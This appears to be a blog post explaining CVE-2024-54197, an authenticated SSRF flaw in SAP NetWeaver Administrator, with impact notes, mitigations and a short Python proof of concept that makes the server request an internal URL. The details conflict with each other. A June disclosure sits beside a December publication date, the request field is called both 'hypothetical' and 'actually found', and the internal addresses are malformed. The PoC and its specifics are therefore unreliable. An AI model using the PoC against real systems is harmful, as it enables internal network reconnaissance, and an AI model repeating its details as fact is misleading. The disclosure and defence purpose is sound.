CVE-2024-54197 - SAP NetWeaver Administrator SSRF Vulnerability Explained
SAP NetWeaver is the core platform for many critical business applications. In June 2024, researchers disclosed a new vulnerability—CVE-2024-54197—that could let attackers perform internal network reconnaissance through SSRF (Server-Side Request Forgery) in SAP NetWeaver Administrator. While this bug needs authentication, it’s still a concern for organizations using NetWeaver.
This exclusive breakdown will make CVE-2024-54197 clear, showcasing how it works, how bad the impact could be, how you can exploit it in a test environment, and where you can go for more details.
What is CVE-2024-54197?
CVE-2024-54197 is a vulnerability in SAP NetWeaver Administrator’s “System Overview” portal. Here’s what happens due to this flaw:
Who’s affected? Any system running SAP NetWeaver Administrator.
- What’s exploited? Authenticated users can craft custom HTTP requests from the SAP server itself.
- What can go wrong? Attackers can scan your corporate network, finding internal endpoints by abusing SSRF.
- What’s the risk? Low impact on your data’s integrity/confidentiality. No effect on system availability.
Many will call this “just an internal scan,” but in targeted attacks, combining SSRF with other bugs leads to more serious security breaches.
How Does the SSRF Work in SAP NetWeaver?
SAP NetWeaver’s Administrator dashboard lets you view and manage system components. Some widgets or diagnostic panels let backend servers fetch HTTP/S information from other hosts or endpoints for monitoring reasons.
If the code doesn’t lock down target addresses, a logged-in attacker could specify internal network URLs. This is the essence of SSRF: the server performs HTTP requests to attacker-chosen addresses, giving attackers a way to bypass network boundaries.
Attacker logs into SAP NetWeaver Administrator with normal user credentials.
2. Attacker navigates to a section (like “System Overview”) that accepts remote URLs/resources for fetching status.
3. Attacker inputs a crafted internal address, like http://10...5:808/secret-api.
4. The SAP server makes an HTTP request to this address, returning part of the response or exposing status to the attacker.
Exploit PoC: SSRF in Action
Disclaimer: Only try this on systems you own and have permission to test.
Here’s a simplified proof-of-concept in Python, assuming you already have log-in cookies or an SAP session:
import requests
# Target: Replace with your SAP NetWeaver URL
base_url = "https://sap-dev.example.com/nwa/sys/overview";
# This address is internal from the SAP server's POV!
internal_url = "http://10...5:800/status";
# SAP might take 'target' as a URL param (hypothetical example)
payload = {
"target": internal_url # Field actually found in System Overview requests
}
# Assume session cookies or basic auth in place
cookies = {'JSESSIONID': 'your-session-id-here'}
response = requests.post(base_url, data=payload, cookies=cookies, verify=False)
print(response.text) # Shows part of the internal endpoint's response
If the feature is unprotected, the internal system responds, leaking status or banners from inside your corporate network.
Data Exposure: You might see HTTP headers, web banners, or error messages from internal apps.
- Internal Scanning: Attackers can map out your network—knowing which endpoints/protocols are live.
- Limited Escalation: Since the attacker needs valid login, this isn't straight-up remote code execution. It’s a pivot point.
No impact on Availability: This bug won’t crash your SAP. It’s not a DoS (denial of service) risk.
How to Protect Your SAP Systems
- Patch-First: Always apply latest SAP security notes. See SAP’s official advisory here.
Monitor Authenticated User Actions: Watch for unusual POST requests to System Overview.
- Network Segmentation: Don't let admin dashboards initiate arbitrary outbound connections to sensitive internal zones.
References
- NVD Entry for CVE-2024-54197
- SAP Security Note 3446855 *(SAP S-User required)*
- SAP NetWeaver Platform Overview
Wrapping Up
CVE-2024-54197 shows why SSRF bugs are a recurring threat for enterprise platforms. Even “read-only” SSRF could spill data or map your internal servers, giving advanced attackers something to work with.
If you run SAP NetWeaver Administrator, check your version and apply the security patch. For user awareness, only let trusted staff have dashboard access, and keep an eye on logs for odd requests.
Stay patched, stay alert, and avoid surprises from the inside.
*This post is exclusive and written in clear language for easy understanding. If you have questions or need more technical deep-dives, reach out in the comments!*
Timeline
Published on: 12/10/2024 01:15:06 UTC